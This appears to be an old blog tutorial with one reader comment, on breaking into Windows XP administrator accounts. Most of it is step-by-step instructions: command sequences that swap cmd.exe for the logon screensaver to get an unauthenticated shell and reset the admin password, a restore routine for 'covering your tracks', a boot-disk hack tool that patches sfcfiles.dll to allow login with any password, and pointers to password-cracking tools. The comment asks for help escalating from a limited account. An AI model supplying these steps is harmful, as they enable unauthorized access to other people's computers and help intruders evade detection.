This is provided only for educational purpose it is a simple way to Recover, Hack or Crack the Window XP Administrator Password. There are different Methods that I have outlined below.
Windows XP Privilege Escalation Exploit
(Before you continue Read the Updates at the bottom)
Here are the steps involved to Hack the Window XP Administrator Password .
- Go to Start –> Run –> Type in CMD
- You will get a command prompt. Enter these commands the way it is given
- cd\
- cd\ windows\system32
- mkdir temphack
- copy logon.scr temphack\logon.scr
- copy cmd.exe temphack\cmd.exe
- del logon.scr
- rename cmd.exe logon.scr
- exit
Wait its not over read the rest to find out how to Hack the Window XP Administrator Password
A Brief explanation of what you are currently doing here is
Your are nagivating to the windows system Directory where the system files are stored. Next your creating a temporary directory called mkdir. After which you are copying or backing up the logon.scr and cmd.exe files into the mkdir then you are deleting the logon.scr file and renaming cmd.exe file to logon.scr.
So basically you are telling windows is to backup the command program and the screen saver file. Then we edited the settings so when windows loads the screen saver, we will get an unprotected dos prompt without logging in. When this appears enter this command
net user password
Example: If the admin user name is clazh and you want change the password to pass Then type in the following command
net user clazh pass
This will chang the admin password to pass.
Thats it you have sucessfully hacked the Window XP Administrator Password now you can Log in, using the hacked Window XP Administrator Password and do whatever you want to do.
Here are the steps involved to De Hack or restore the Window XP Administrator Password to cover your tracks.
- Go to Start –> Run –> Type in CMD
- You will get a command prompt. Enter these commands the way it is given
- cd\
- cd\ windows\system32\temphack
- copy logon.scr C:\windows\system32\logon.scr
- copy cmd.exe C:\windows\system32\cmd.exe
- exit
Or simply go to C:\windows\system32\temphack and copy the contents of temphack back into system32 directory click Yes to overwrite the modified files.
Note To administrators: You can block the entire password change thing just a little tweak in the local security policy (control panel->administrative tools,works only for administrators group) will disallow any change in password even if u r the Admin (u can put a number of other restrictions too), but be cautious to give other users limitted accounts. After you have done this, the above Screensaver technique will fail.
Update: Christian Mohn points out The Above method is is possible only if you have Local Administrator Privileges. My fault for not checking it up before posting.
Update: The above Method only works if the system is FAT/FAT32 - because of the updated “user rights management” in NTFS - file level rights etc. This does not work on a system using NTFS.
Hack or Crack a Windows XP Administrator Password using OphCrack
Ophcrack is a Windows password cracker based on rainbow tables. It is a very efficient implementation of rainbow tables done by the inventors of the method. It comes with a GTK+ Graphical User Interface and runs on Windows, Mac OS X (Intel CPU) as well as on Linux.
Go to Ophcrack and download the live CD burn it to a disk and boot with it. It will depend on how strong the password is.
Recover the Password using DreamPackPL
Thanks for the steps from Giftson
Steps to Hack into a Windows XP Computer without changing password:
- Get physical access to the machine. Remember that it must have a CD or DVD drive.
- Download DreamPackPL http://www.d–b.webpark.pl/dreampackpl_en.htm
- Unzip the downloaded dreampackpl_iso.zip and you’ll get dreampackpl.ISO.
- Use any burning program that can burn ISO images.
- After you have the disk, boot from the CD or DVD drive. You will see Windows 2000 Setup and it will load some files.
- Press “R” to install DreamPackPL.
- Press “C” to install DreamPackPL by using the recovery console.
- Select the Windows installation that is currently on the computer (Normally is “1? if you only have one Windows installed)
- Backup your original sfcfiles.dll by typing: “ren C:\Windows\System32\sfcfiles.dll sfcfiles.lld” (without quotes)
- Copy the hacked file from CD to system32 folder. Type: “copy D:\i386\pinball.ex_ C:\Windows\System32\sfcfiles.dll” (without quotes and assuming your CD drive is D:)
- Type “exit”, take out disk and reboot.
- In the password field, type “dreamon” (without quotes) and DreamPack menu will appear.
- Click the top graphic on the DreamPack menu and you will get a menu popup.
- Go to commands and enable the options and enable the god command.
- Type “god” in the password field to get in Windows.
You can also go to Passwords and select “Logon with wrong password and hash”. This option allows you to login with ANY password.
Note: If you are running any kind of Anti-Virus Tool it will give you a prompt saying that it is a Virus since they have already labelled this tool as a Hack-Tool. A Hack-Tool is NOT a virus. The DreamPackPL helps you bypass the Windows Login screen and it is not destructive.
Recover All Windows Password including Vista with Login Recovery
Login Recovery is a Online service that can help you to recover your Windows Password including Windows Vista.
There are three steps Involved
- Download the Login Recovery Software extraction program to create a bootable floppy disk to read the password file.
(click here for a CD version) - Insert the disk into the computer you wish to recover passwords from and boot the computer to extract the encrypted passwords to the disk.
- Put the disk into an Internet enabled computer, and upload the encrypted password file for decryption. (see uploads page)
This is a Paid service but Alternativly they Provide a free service which is available by waiting upto 48 hours (Only One free request every three months so be careful how you use it).
hi good information i search many sites but it is very clear and the system which i have is limited priviliges so i cant able to create a file in system32 folder i downloaded the oph crack i cant able to boot from cd plz help me in case to break the admin privilages or to know admin without changing the password